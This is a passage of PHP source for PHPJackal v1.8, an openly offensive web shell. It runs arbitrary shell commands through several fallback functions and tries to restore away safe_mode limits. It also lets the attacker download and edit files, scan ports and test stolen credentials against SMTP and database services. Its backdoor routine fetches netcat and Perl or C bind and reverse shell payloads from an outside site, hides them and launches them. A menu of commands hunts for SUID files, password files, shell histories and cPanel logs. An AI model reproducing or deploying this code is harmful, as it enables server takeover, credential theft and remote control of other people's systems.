| 1 | <?php
|
|---|
| 2 | #--Config--#
|
|---|
| 3 | $login_password='';
|
|---|
| 4 | #----------#
|
|---|
| 5 | error_reporting(0);
|
|---|
| 6 | ignore_user_abort(true);
|
|---|
| 7 | set_time_limit(0);
|
|---|
| 8 | ini_set('max_execution_time','0');
|
|---|
| 9 | ini_set('memory_limit','9999M');
|
|---|
| 10 | ini_set('output_buffering',0);
|
|---|
| 11 | set_magic_quotes_runtime(0);
|
|---|
| 12 | if(!isset($_SERVER))$_SERVER=&$HTTP_SERVER_VARS;
|
|---|
| 13 | if(!isset($_POST))$_POST=&$HTTP_POST_VARS;
|
|---|
| 14 | if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
|
|---|
| 15 | if(!isset($_COOKIE))$_COOKIE=&$HTTP_COOKIE_VARS;
|
|---|
| 16 | $_REQUEST = array_merge($_GET,$_POST);
|
|---|
| 17 | if(get_magic_quotes_gpc()){
|
|---|
| 18 | foreach($_REQUEST as $key=>$value)$_REQUEST[$key]=stripslashes($value);
|
|---|
| 19 | }
|
|---|
| 20 | function hlinK($str=''){
|
|---|
| 21 | $myvars=array('modE','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
|
|---|
| 22 | $ret=$_SERVER['PHP_SELF'].'?';
|
|---|
| 23 | $new=explode('&',$str);
|
|---|
| 24 | foreach($_GET as $key => $v){
|
|---|
| 25 | $add=1;
|
|---|
| 26 | foreach($new as $m){
|
|---|
| 27 | $el=explode('=',$m);
|
|---|
| 28 | if($el[0]==$key)$add=0;
|
|---|
| 29 | }
|
|---|
| 30 | if($add){if(!in_array($key,$myvars))$ret.="$key=$v&";}
|
|---|
| 31 | }
|
|---|
| 32 | $ret.=$str;
|
|---|
| 33 | return $ret;
|
|---|
| 34 | }
|
|---|
| 35 | $et='</td></tr></table>';
|
|---|
| 36 | if(!empty($login_password)){
|
|---|
| 37 | if(!empty($_REQUEST['fpassw'])){
|
|---|
| 38 | if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw']));
|
|---|
| 39 | header('Location: '.hlinK());
|
|---|
| 40 | }
|
|---|
| 41 | if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></form>$et</body></html>");
|
|---|
| 42 | }
|
|---|
| 43 | if(!empty($_REQUEST['workingdiR']))chdir($_REQUEST['workingdiR']);
|
|---|
| 44 | function checkthisporT($ip,$port,$timeout,$type=0){
|
|---|
| 45 | if(!$type){
|
|---|
| 46 | $scan=fsockopen($ip,$port,$n,$s,$timeout);
|
|---|
| 47 | if($scan){fclose($scan);return 1;}
|
|---|
| 48 | }
|
|---|
| 49 | elseif(function_exists('socket_set_timeout')){
|
|---|
| 50 | $scan=fsockopen("udp://$ip",$port);
|
|---|
| 51 | if($scan){
|
|---|
| 52 | socket_set_timeout($scan,$timeout);
|
|---|
| 53 | fwrite($scan,"\x00");
|
|---|
| 54 | $s=time();
|
|---|
| 55 | fread($scan,1);
|
|---|
| 56 | if((time()-$s)>=$timeout){fclose($scan);return 1;}
|
|---|
| 57 | }
|
|---|
| 58 | }
|
|---|
| 59 | return 0;
|
|---|
| 60 | }
|
|---|
| 61 | if(!function_exists('file_get_contents')){
|
|---|
| 62 | function file_get_contents($addr){
|
|---|
| 63 | $a=fopen($addr,'r');
|
|---|
| 64 | $tmp=fread($a,filesize($a));
|
|---|
| 65 | fclose($a);
|
|---|
| 66 | if($a)return $tmp;else return null;
|
|---|
| 67 | }
|
|---|
| 68 | }
|
|---|
| 69 | if(!function_exists('file_put_contents')){
|
|---|
| 70 | function file_put_contents($addr,$con){
|
|---|
| 71 | $a=fopen($addr,'w');
|
|---|
| 72 | if(!$a)return 0;
|
|---|
| 73 | $t=fwrite($a,$con);
|
|---|
| 74 | fclose($a);
|
|---|
| 75 | if($t)return strlen($con);
|
|---|
| 76 | return 0;
|
|---|
| 77 | }
|
|---|
| 78 | }
|
|---|
| 79 | function file_add_contentS($addr,$con){
|
|---|
| 80 | $a=fopen($addr,'a');
|
|---|
| 81 | if(!$a)return 0;
|
|---|
| 82 | fwrite($a,$con);
|
|---|
| 83 | fclose($a);
|
|---|
| 84 | return strlen($con);
|
|---|
| 85 | }
|
|---|
| 86 | if(!empty($_REQUEST['chmoD']) && !empty($_REQUEST['modE']))chmod($_REQUEST['chmoD'],'0'.$_REQUEST['modE']);
|
|---|
| 87 | if(!empty($_REQUEST['downloaD'])){
|
|---|
| 88 | ob_clean();
|
|---|
| 89 | $dl=$_REQUEST['downloaD'];
|
|---|
| 90 | $con=file_get_contents($dl);
|
|---|
| 91 | header('Content-type: application/octet-stream');
|
|---|
| 92 | header("Content-disposition: attachment; filename=\"$dl\";");
|
|---|
| 93 | header('Content-length: '.strlen($con));
|
|---|
| 94 | echo $con;
|
|---|
| 95 | exit;
|
|---|
| 96 | }
|
|---|
| 97 | if(!empty($_REQUEST['imagE'])){
|
|---|
| 98 | $img=$_REQUEST['imagE'];
|
|---|
| 99 | header('Content-type: imagE/gif');
|
|---|
| 100 | header("Content-length: ".filesize($img));
|
|---|
| 101 | header("Last-Modified: ".date('r',filemtime($img)));
|
|---|
| 102 | echo file_get_contents($img);
|
|---|
| 103 | exit;
|
|---|
| 104 | }
|
|---|
| 105 | header('Cache-Control: no-cache, must-revalidate');
|
|---|
| 106 | header('Expires: Mon, 7 Aug 1987 05:00:00 GMT');
|
|---|
| 107 | function showsizE($size){
|
|---|
| 108 | if($size>=1073741824)$size=round(($size/1073741824),2).' GB';
|
|---|
| 109 | elseif($size>=1048576)$size=round(($size/1048576),2).' MB';
|
|---|
| 110 | elseif($size>=1024)$size=round(($size/1024),2).' KB';
|
|---|
| 111 | else $size.=' B';
|
|---|
| 112 | return $size;
|
|---|
| 113 | }
|
|---|
| 114 | $windows=(substr((strtoupper(php_uname())),0,3)=='WIN')?1:0;
|
|---|
| 115 | $errorbox="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td><b>Error: </b>";
|
|---|
| 116 | $v='1.8';
|
|---|
| 117 | $cwd=getcwd();
|
|---|
| 118 | $msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td align='center'>";
|
|---|
| 119 | $intro="<center><table border=0 style='border-collapse: collapse'><tr><td bgcolor='#666666'><b>Script:</b><br>".str_repeat('-=-',25)."<br><b>Name:</b> PHPJackal<br><b>Version:</b> $v<br><br><b>Author:</b><br>".str_repeat('-=-',25)."<br><b>Name:</b> JaCKaL<br><b>Country:</b> Turkiye<br><b>Website:</b> <a href='http://Reshack.Net' target='_blank'>http://Reshack.net</a><br><b>Email:</b> <a href='mailto:Jackal@SpyGrup.org?subject=PHPJackal'>Jackal@SpyGrup.Org</a><br><noscript>".str_repeat('-=-',25)."<br><b>Error: Enable JavaScript in your browser!!!</b></noscript>$et</center>";
|
|---|
| 120 | $footer="${msgbox}PHPJackal v$v - Powered By <a href='http://Reshack.Net' target='_blank'>JaCKaL</a>$et";
|
|---|
| 121 | $hcwd="<input type=hidden name=workingdiR value='$cwd'>";
|
|---|
| 122 | $t="<table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#333333'>";
|
|---|
| 123 | $crack="</td><td bgcolor='#333333'></td></tr><form method='POST' name=form><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>";
|
|---|
| 124 | function checkfunctioN($func){
|
|---|
| 125 | global $disablefunctions,$safemode;
|
|---|
| 126 | $safe=array('passthru','system','exec','exec','shell_exec','popen','proc_open');
|
|---|
| 127 | if($safemode=='ON' && in_array($func,$safe))return 0;
|
|---|
| 128 | elseif(function_exists($func) && is_callable($func) && !strstr($disablefunctions,$func))return 1;
|
|---|
| 129 | return 0;
|
|---|
| 130 | }
|
|---|
| 131 | function whereistmP(){
|
|---|
| 132 | $uploadtmp=ini_get('upload_tmp_dir');
|
|---|
| 133 | $uf=getenv('USERPROFILE');
|
|---|
| 134 | $af=getenv('ALLUSERSPROFILE');
|
|---|
| 135 | $se=ini_get('session.save_path');
|
|---|
| 136 | $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
|
|---|
| 137 | if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
|
|---|
| 138 | if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
|
|---|
| 139 | if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
|
|---|
| 140 | if(is_dir($uf) && is_writable($uf))return $uf;
|
|---|
| 141 | if(is_dir($af) && is_writable($af))return $af;
|
|---|
| 142 | if(is_dir($se) && is_writable($se))return $se;
|
|---|
| 143 | if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
|
|---|
| 144 | if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
|
|---|
| 145 | return '.';
|
|---|
| 146 | }
|
|---|
| 147 | function shelL($command){
|
|---|
| 148 | global $windows;
|
|---|
| 149 | $exec=$output='';
|
|---|
| 150 | $dep[]=array('pipe','r');$dep[]=array('pipe','w');
|
|---|
| 151 | if(checkfunctioN('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
|
|---|
| 152 | elseif(checkfunctioN('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
|
|---|
| 153 | elseif(checkfunctioN('exec')){exec($command,$output);$output=join("\n",$output);$exec=$output;}
|
|---|
| 154 | elseif(checkfunctioN('shell_exec'))$exec=shell_exec($command);
|
|---|
| 155 | elseif(checkfunctioN('popen')){$output=popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
|
|---|
| 156 | elseif(checkfunctioN('proc_open')){$res=proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
|
|---|
| 157 | elseif(checkfunctioN('win_shell_execute'))$exec=winshelL($command);
|
|---|
| 158 | elseif(checkfunctioN('win32_create_service'))$exec=srvshelL($command);
|
|---|
| 159 | elseif(is_object($ws=new COM('WScript.Shell')))$exec=comshelL($command,$ws);
|
|---|
| 160 | return $exec;
|
|---|
| 161 | }
|
|---|
| 162 | function downloadiT($get,$put){
|
|---|
| 163 | $fo=strtolower(ini_get('allow_url_fopen'));
|
|---|
| 164 | if($fo || $fo=='on')$con=file_get_contents($get);
|
|---|
| 165 | else{
|
|---|
| 166 | $u=parse_url($get);
|
|---|
| 167 | $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
|
|---|
| 168 | $url=fsockopen($host,80,$en,$es,12);
|
|---|
| 169 | fputs($url,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
|
|---|
| 170 | $tmp=$con='';
|
|---|
| 171 | while($tmp!="\r\n")$tmp=fgets($url);
|
|---|
| 172 | while(!feof($url))$con.=fgets($url);
|
|---|
| 173 | }
|
|---|
| 174 | $mk=file_put_contents($put,$con);
|
|---|
| 175 | if($mk)return 1;
|
|---|
| 176 | return 0;
|
|---|
| 177 | }
|
|---|
| 178 | function winshelL($command){
|
|---|
| 179 | $name=whereistmP()."\\".uniqid('NJ');
|
|---|
| 180 | win_shell_execute('cmd.exe','',"/C $command >\"$name\"");
|
|---|
| 181 | sleep(1);
|
|---|
| 182 | $exec=file_get_contents($name);
|
|---|
| 183 | unlink($name);
|
|---|
| 184 | return $exec;
|
|---|
| 185 | }
|
|---|
| 186 | function srvshelL($command){
|
|---|
| 187 | $name=whereistmP()."\\".uniqid('NJ');
|
|---|
| 188 | $n=uniqid('NJ');
|
|---|
| 189 | $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
|
|---|
| 190 | win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
|
|---|
| 191 | win32_start_service($n);
|
|---|
| 192 | win32_stop_service($n);
|
|---|
| 193 | win32_delete_service($n);
|
|---|
| 194 | sleep(1);
|
|---|
| 195 | $exec=file_get_contents($name);
|
|---|
| 196 | unlink($name);
|
|---|
| 197 | return $exec;
|
|---|
| 198 | }
|
|---|
| 199 | function comshelL($command,$ws){
|
|---|
| 200 | $exec=$ws->exec ("cmd.exe /c $command");
|
|---|
| 201 | $so=$exec->StdOut();
|
|---|
| 202 | return $so->ReadAll();
|
|---|
| 203 | }
|
|---|
| 204 | function smtpchecK($addr,$user,$pass,$timeout){
|
|---|
| 205 | $sock=fsockopen($addr,25,$n,$s,$timeout);
|
|---|
| 206 | if(!$sock)return -1;
|
|---|
| 207 | fread($sock,1024);
|
|---|
| 208 | fputs($sock,'ehlo '.uniqid('NJ')."\r\n");
|
|---|
| 209 | $res=substr(fgets($sock,512),0,1);
|
|---|
| 210 | if($res!='2')return 0;
|
|---|
| 211 | fgets($sock,512);fgets($sock,512);fgets($sock,512);
|
|---|
| 212 | fputs($sock,"AUTH LOGIN\r\n");
|
|---|
| 213 | $res=substr(fgets($sock,512),0,3);
|
|---|
| 214 | if($res!='334')return 0;
|
|---|
| 215 | fputs($sock,base64_encode($user)."\r\n");
|
|---|
| 216 | $res=substr(fgets($sock,512),0,3);
|
|---|
| 217 | if($res!='334')return 0;
|
|---|
| 218 | fputs($sock,base64_encode($pass)."\r\n");
|
|---|
| 219 | $res=substr(fgets($sock,512),0,3);
|
|---|
| 220 | if($res!='235')return 0;
|
|---|
| 221 | return 1;
|
|---|
| 222 | }
|
|---|
| 223 | function mysqlchecK($host,$user,$pass,$timeout){
|
|---|
| 224 | if(function_exists('mysql_connect')){
|
|---|
| 225 | $l=mysql_connect($host,$user,$pass);
|
|---|
| 226 | if($l)return 1;
|
|---|
| 227 | }
|
|---|
| 228 | return 0;
|
|---|
| 229 | }
|
|---|
| 230 | function mssqlchecK($host,$user,$pass,$timeout){
|
|---|
| 231 | if(function_exists('mssql_connect')){
|
|---|
| 232 | $l=mssql_connect($host,$user,$pass);
|
|---|
| 233 | if($l)return 1;
|
|---|
| 234 | }
|
|---|
| 235 | return 0;
|
|---|
| 236 | }
|
|---|
| 237 | function checksmtP($host,$timeout){
|
|---|
| 238 | $from=strtolower(uniqid('nj')).'@'.strtolower(uniqid('nj')).'.com';
|
|---|
| 239 | $sock=fsockopen($host,25,$n,$s,$timeout);
|
|---|
| 240 | if(!$sock)return -1;
|
|---|
| 241 | $res=substr(fgets($sock,512),0,3);
|
|---|
| 242 | if($res!='220')return 0;
|
|---|
| 243 | fputs($sock,'HELO '.uniqid('NJ')."\r\n");
|
|---|
| 244 | $res=substr(fgets($sock,512),0,3);
|
|---|
| 245 | if($res!='250')return 0;
|
|---|
| 246 | fputs($sock,"MAIL FROM: <$from>\r\n");
|
|---|
| 247 | $res=substr(fgets($sock,512),0,3);
|
|---|
| 248 | if($res!='250')return 0;
|
|---|
| 249 | fputs($sock,"RCPT TO: <contact@persianblog.com>\r\n");
|
|---|
| 250 | $res=substr(fgets($sock,512),0,3);
|
|---|
| 251 | if($res!='250')return 0;
|
|---|
| 252 | fputs($sock,"DATA\r\n");
|
|---|
| 253 | $res=substr(fgets($sock,512),0,3);
|
|---|
| 254 | if($res!='354')return 0;
|
|---|
| 255 | fputs($sock,"From: ".uniqid('NJ')." ".uniqid('NJ')." <$from>\r\nSubject: ".uniqid('NJ')."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".uniqid('Hello ',true)."\r\n.\r\n");
|
|---|
| 256 | $res=substr(fgets($sock,512),0,3);
|
|---|
| 257 | if($res!='250')return 0;
|
|---|
| 258 | return 1;
|
|---|
| 259 | }
|
|---|
| 260 | function replace_stR($s,$h){
|
|---|
| 261 | $ret=$h;
|
|---|
| 262 | foreach($s as $k=>$r)$ret=str_replace($k,$r,$ret);
|
|---|
| 263 | return $ret;
|
|---|
| 264 | }
|
|---|
| 265 | function check_urL($url,$method,$search='200',$timeout=3){
|
|---|
| 266 | $u=parse_url($url);
|
|---|
| 267 | $method=strtoupper($method);
|
|---|
| 268 | $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
|
|---|
| 269 | $data=(!empty($u['query']))?$u['query']:'';
|
|---|
| 270 | if(!empty($data))$data="?$data";
|
|---|
| 271 | $sock=fsockopen($host,80,$en,$es,$timeout);
|
|---|
| 272 | if($sock){
|
|---|
| 273 | fputs($sock,"$method $file$data HTTP/1.0\r\n");
|
|---|
| 274 | fputs($sock,"Host: $host\r\n");
|
|---|
| 275 | if($method=='GET')fputs($sock,"\r\n");
|
|---|
| 276 | elseif($method=='POST')fputs($sock,'Content-Type: application/x-www-form-urlencoded\r\nContent-length: '.strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data");
|
|---|
| 277 | else return 0;
|
|---|
| 278 | if($search=='200')if(strstr(fgets($sock),'200')){fclose($sock);return 1;}else{fclose($sock);return 0;}
|
|---|
| 279 | while(!feof($sock)){
|
|---|
| 280 | $res=fgets($sock);
|
|---|
| 281 | if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;}
|
|---|
| 282 | }
|
|---|
| 283 | fclose($sock);
|
|---|
| 284 | }
|
|---|
| 285 | return 0;
|
|---|
| 286 | }
|
|---|
| 287 | function get_sw_namE($host,$timeout){
|
|---|
| 288 | $sock=fsockopen($host,80,$en,$es,$timeout);
|
|---|
| 289 | if($sock){
|
|---|
| 290 | $page=uniqid('NJ');
|
|---|
| 291 | fputs($sock,"GET /$page HTTP/1.0\r\n\r\n");
|
|---|
| 292 | while(!feof($sock)){
|
|---|
| 293 | $con=fgets($sock);
|
|---|
| 294 | if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;}
|
|---|
| 295 | }
|
|---|
| 296 | fclose($sock);
|
|---|
| 297 | return -1;
|
|---|
| 298 | }return 0;
|
|---|
| 299 | }
|
|---|
| 300 | function snmpchecK($ip,$com,$timeout){
|
|---|
| 301 | $res=0;
|
|---|
| 302 | $n=chr(0x00);
|
|---|
| 303 | $packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01).chr(0x00).chr(0x04).chr(strlen($com)).$com.chr(0xA0).chr(0x19).chr(0x02).chr(0x01).chr(0x01).chr(0x02).chr(0x01).$n.chr(0x02).chr(0x01).$n.chr(0x30).chr(0x0E).chr(0x30).chr(0x0C).chr(0x06).chr(0x08).chr(0x2B).chr(0x06).chr(0x01).chr(0x02).chr(0x01).chr(0x01).chr(0x01).$n.chr(0x05).$n;
|
|---|
| 304 | $sock=fsockopen("udp://$ip",161);
|
|---|
| 305 | if(function_exists('socket_set_timeout'))socket_set_timeout($sock,$timeout);
|
|---|
| 306 | fputs($sock,$packet);
|
|---|
| 307 | socket_set_timeout($sock,$timeout);
|
|---|
| 308 | $res=fgets($sock);
|
|---|
| 309 | fclose($sock);
|
|---|
| 310 | if($res != '')return 1;else return 0;
|
|---|
| 311 | }
|
|---|
| 312 | $safemode=(ini_get('safe_mode') || strtolower(ini_get('safe_mode'))=='on')?'ON':'OFF';
|
|---|
| 313 | if($safemode=='ON'){ini_restore('safe_mode');ini_restore('open_basedir');}
|
|---|
| 314 | $disablefunctions=ini_get('disable_functions');
|
|---|
| 315 | function brshelL(){
|
|---|
| 316 | global $errorbox,$windows,$et,$hcwd;
|
|---|
| 317 | $_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0;
|
|---|
| 318 | $addr='http://Reshack.Netbr';
|
|---|
| 319 | $error="$errorbox Can not make backdoor file, go to writeable folder.$et";
|
|---|
| 320 | $n=uniqid('NJ_');
|
|---|
| 321 | if(!$windows)$n=".$n";
|
|---|
| 322 | $d=whereistmP();
|
|---|
| 323 | $name=$d.DIRECTORY_SEPARATOR.$n;
|
|---|
| 324 | $c=($_REQUEST['C'])?1:0;
|
|---|
| 325 | if(!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1)){
|
|---|
| 326 | $port=(int)$_REQUEST['port'];
|
|---|
| 327 | if($windows){
|
|---|
| 328 | if($c){
|
|---|
| 329 | $name.='.exe';
|
|---|
| 330 | $bd=downloadiT("$addr/nc",$name);
|
|---|
| 331 | shelL("attrib +H $name");
|
|---|
| 332 | if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe");
|
|---|
| 333 | }else{
|
|---|
| 334 | $name=$name.'.pl';
|
|---|
| 335 | $bd=downloadiT("$addr/winbind.p",$name);
|
|---|
| 336 | shelL("attrib +H $name");
|
|---|
| 337 | if(!$bd)echo $error;else shelL("perl $name $port");
|
|---|
| 338 | }
|
|---|
| 339 | }
|
|---|
| 340 | else{
|
|---|
| 341 | if($c){
|
|---|
| 342 | $bd=downloadiT("$addr/bind.c",$name);
|
|---|
| 343 | if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &");
|
|---|
| 344 | }else{
|
|---|
| 345 | $bd=downloadiT("$addr/bind.p",$name);
|
|---|
| 346 | if(!$bd)echo $error;else shelL("cd $d;perl $n $port &");
|
|---|
| 347 | echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>";
|
|---|
| 348 | }
|
|---|
| 349 | }
|
|---|
| 350 | }
|
|---|
| 351 | elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){
|
|---|
| 352 | $ip=$_REQUEST['ip'];
|
|---|
| 353 | $port=(int)$_REQUEST['rport'];
|
|---|
| 354 | if($windows){
|
|---|
| 355 | if($c){
|
|---|
| 356 | $name.='.exe';
|
|---|
| 357 | $bd=downloadiT("$addr/nc",$name);
|
|---|
| 358 | shelL("attrib +H $name");
|
|---|
| 359 | if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe");
|
|---|
| 360 | }else{
|
|---|
| 361 | $name=$name.'.pl';
|
|---|
| 362 | $bd=downloadiT("$addr/winrc.p",$name);
|
|---|
| 363 | shelL("attrib +H $name");
|
|---|
| 364 | if (!$bd)echo $error;else shelL("perl.exe $name $ip $port");
|
|---|
| 365 | }
|
|---|
| 366 | }
|
|---|
| 367 | else{
|
|---|
| 368 | if($c){
|
|---|
| 369 | $bd=downloadiT("$addr/rc.c",$name);
|
|---|
| 370 | if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &");
|
|---|
| 371 | }else{
|
|---|
| 372 | $bd=downloadiT("$addr/rc.p",$name);
|
|---|
| 373 | if(!$bd)echo $error;else shelL("cd $d;perl $n $ip $port &");
|
|---|
| 374 | }
|
|---|
| 375 | }
|
|---|
| 376 | echo '<font color=blue>Done!</font>';}
|
|---|
| 377 | else{echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='50%' bgcolor='#333333'>Bind shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=port value=55501 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input type=submit class=buttons value=Bind></form>$et</td><td><table border=0 style='border-collapse: collapse' width='50%'><tr><td width='40%' bgcolor='#333333'>Reverse shell:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#808080'>IP:</td><td bgcolor='#808080'><input type=text name=ip value=";echo $_SERVER['REMOTE_ADDR'];echo " size=17></td></tr><tr><td width='20%' bgcolor='#666666'>Port:</td><td bgcolor='#666666'><input type=text name=rport value=53 size=5></td></tr><tr><td width='20%' bgcolor='#808080'>Type:</td><td bgcolor='#808080'><input type=radio style='border-width:1px;background-color:#808080;' value=0 checked name=C>PERL<input type=radio style='border-width:1px;background-color:#808080;' name=C value=1>";if($windows)echo 'EXE';else echo 'C';echo"</td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et$et";}}
|
|---|
| 378 | function showimagE($img){
|
|---|
| 379 | echo "<center><img border=0 src='".hlinK("imagE=$img&&workingdiR=".getcwd())."'></center>";}
|
|---|
| 380 | function editoR($file){
|
|---|
| 381 | global $errorbox,$et,$hcwd,$cwd;
|
|---|
| 382 | if(is_file($file)){
|
|---|
| 383 | if(!is_readable($file)){echo "$errorbox File is not readable$et<br>";}
|
|---|
| 384 | if(!is_writeable($file)){echo "$errorbox File is not writeable$et<br>";}
|
|---|
| 385 | $data=file_get_contents($file);
|
|---|
| 386 | echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'>$hcwd<input type=text value='".htmlspecialchars($file)."' size=75 name=file><input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='64'>";
|
|---|
| 387 | echo htmlspecialchars($data);
|
|---|
| 388 | echo "</textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$file' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>";
|
|---|
| 389 | }
|
|---|
| 390 | else {echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='10%' bgcolor='#808080'><form method='POST'><input type=text value='$cwd' size=75 name=file>$hcwd<input type=submit class=buttons name=Open value=Open></form>$et<br><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='40%' bgcolor='#666666'><form method='POST'><textarea rows='18' name='edited' cols='63'></textarea></td></tr><tr><td width='10%' bgcolor='#808080'><input type=text value='$cwd' size=80 name=file></td></tr><td width='40%' bgcolor='#666666' align='right'>";
|
|---|
| 391 | }
|
|---|
| 392 | echo "$hcwd<input type=submit class=buttons name=Save value=Save></form>$et</center>";
|
|---|
| 393 | }
|
|---|
| 394 | function webshelL(){
|
|---|
| 395 | global $windows,$hcwd,$et,$cwd;
|
|---|
| 396 | if($windows){
|
|---|
| 397 | $alias="<option value='netstat -an'>Display open ports</option><option value='tasklist'>List of processes</option><option value='systeminfo'>System information</option><option value='ipconfig /all'>IP configuration</option><option value='getmac'>Get MAC address</option><option value='net start'>Services list</option><option value='net view'>Machines in domain</option><option value='net user'>Users list</option><option value='shutdown -s -f -t 1'>Turn off the server</option>";
|
|---|
| 398 | }
|
|---|
| 399 | else{
|
|---|
| 400 | $alias="<option value='netstat -an | grep -i listen'>Display open ports</option><option value='last -a -n 250 -i'>Show last 250 logged in users</option><option value='which wget curl lynx w3m'>Downloaders</option><option value='find / -perm -2 -type d -print'>Find world-writable directories</option><option value='find . -perm -2 -type d -print'>Find world-writable directories(in current directory)</option><option value='find / -perm -2 -type f -print'>Find world-writable files</option><option value='find . -perm -2 -type f -print'>Find world-writable files(in current directory)</option><option value='find / -type f -perm 04000 -ls'>Find files with SUID bit set</option><option value='find / -type f -perm 02000 -ls'>Find files with SGID bit set</option><option value='find / -name .htpasswd -type f'>Find .htpasswd files</option><option value='find / -type f -name .bash_history'>Find .bash_history files</option><option value='cat /etc/syslog.conf'>View syslog.conf</option><option value='cat cat /etc/hosts'>View hosts</option><option value='ps auxw'>List of processes</option>";
|
|---|
| 401 | if(is_dir('/etc/valiases'))$alias.="<option value='ls -l /etc/valiases'>List of cPanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value='ls -l /etc/vdomainaliases'>List cPanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value='cat /var/cpanel/accounting.log'>Display cPanel`s log</option>";
|
|---|
| 402 | if(is_dir('/var/spool/mail/'))$alias.="<option value='ls /var/spool/mail/'>Mailboxes list</option>";
|
|---|
| 403 | }
|
|---|
